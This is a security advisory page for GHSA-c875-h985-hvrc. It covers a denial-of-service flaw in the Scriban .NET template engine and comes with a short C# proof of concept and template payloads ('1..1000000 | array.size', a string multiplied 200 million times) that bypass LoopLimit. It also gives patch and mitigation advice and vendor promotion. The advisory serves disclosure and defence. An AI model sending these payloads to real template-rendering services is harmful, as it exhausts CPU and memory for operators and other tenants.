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.NET NuGet

GHSA-c875-h985-hvrc

HIGH

Scriban: Built-in operations bypass LoopLimit and delay cancellation, enabling Denial of Service

Published
Mar 24, 2026
Updated
Mar 24, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected
.NETscriban

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects NuGet packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Scriban's LoopLimit only applies to script loop statements, not to expensive iteration performed inside operators and builtins. An attacker can submit a single expression such as {{ 1..1000000 | array.size }} and force large amounts of CPU work even when LoopLimit is set to a very small value.

Details

The relevant code path is:

  • ScriptBlockStatement.Evaluate() calls context.CheckAbort() once per statement in src/Scriban/Syntax/Statements/ScriptBlockStatement.cs lines 41–46.
  • LoopLimit enforcement is tied to script loop execution via TemplateContext.StepLoop(), not to internal helper iteration.
  • array.size in src/Scriban/Functions/ArrayFunctions.cs lines 596–609 calls list.Cast<object>().Count() for non-collection enumerables.
  • 1..N creates a ScriptRange from ScriptBinaryExpression.RangeInclude() in src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs lines 745–748.
  • ScriptRange then yields every element one by one without going through StepLoop() in src/Scriban/Runtime/ScriptRange.cs.

This means a single statement can perform arbitrarily large iteration without being stopped by LoopLimit.

There is also a related memory-amplification path in string * int:

  • ScriptBinaryExpression.CalculateToString() appends in a plain for loop in src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs lines 301–334.

Proof of Concept

Setup

mkdir scriban-poc3
cd scriban-poc3
dotnet new console --framework net8.0
dotnet add package Scriban --version 6.6.0

Program.cs

using Scriban;

var template = Template.Parse("{{ 1..1000000 | array.size }}");

var context = new TemplateContext
{
    LoopLimit = 1
};

Console.WriteLine(template.Render(context));

Run

dotnet run

Actual Output

1000000

Expected Behavior

A safety limit of LoopLimit = 1 should prevent a template from performing one million iterations worth of work.

Optional Stronger Variant (Memory Amplification)

using Scriban;

var template = Template.Parse("{{ 'A' * 200000000 }}");
var context = new TemplateContext
{
    LoopLimit = 1
};

template.Render(context);

This variant demonstrates that LoopLimit also does not constrain large internal allocation work.


Impact

This is an uncontrolled resource consumption issue. Any application that accepts attacker-controlled templates and relies on LoopLimit as part of its safe-runtime configuration can still be forced into heavy CPU or memory work by a single expression.

The issue impacts:

  • Template-as-a-service systems
  • CMS or email rendering systems that accept user templates
  • Any multi-tenant use of Scriban with untrusted template content

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
.NETNuGetscribanall versions7.0.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for scriban. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update scriban to 7.0.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-c875-h985-hvrc is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-c875-h985-hvrc is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-c875-h985-hvrc. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary Scriban's `LoopLimit` only applies to script loop statements, not to expensive iteration performed inside operators and builtins. An attacker can submit a single expression such as `{{ 1..1000000 | array.size }}` and force large amounts of CPU work even when `LoopLimit` is set to a very small value. ## Details The relevant code path is: - `ScriptBlockStatement.Evaluate()` calls `context.CheckAbort()` once per statement in `src/Scriban/Syntax/Statements/ScriptBlockStatement.cs` lines 41–46. - `LoopLimit` enforcement is tied to script loop execution via `TemplateContext.StepLoop()
O3 Security · Impact-Aware SCA

Is GHSA-c875-h985-hvrc in your dependencies?

O3 detects GHSA-c875-h985-hvrc across NuGet dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.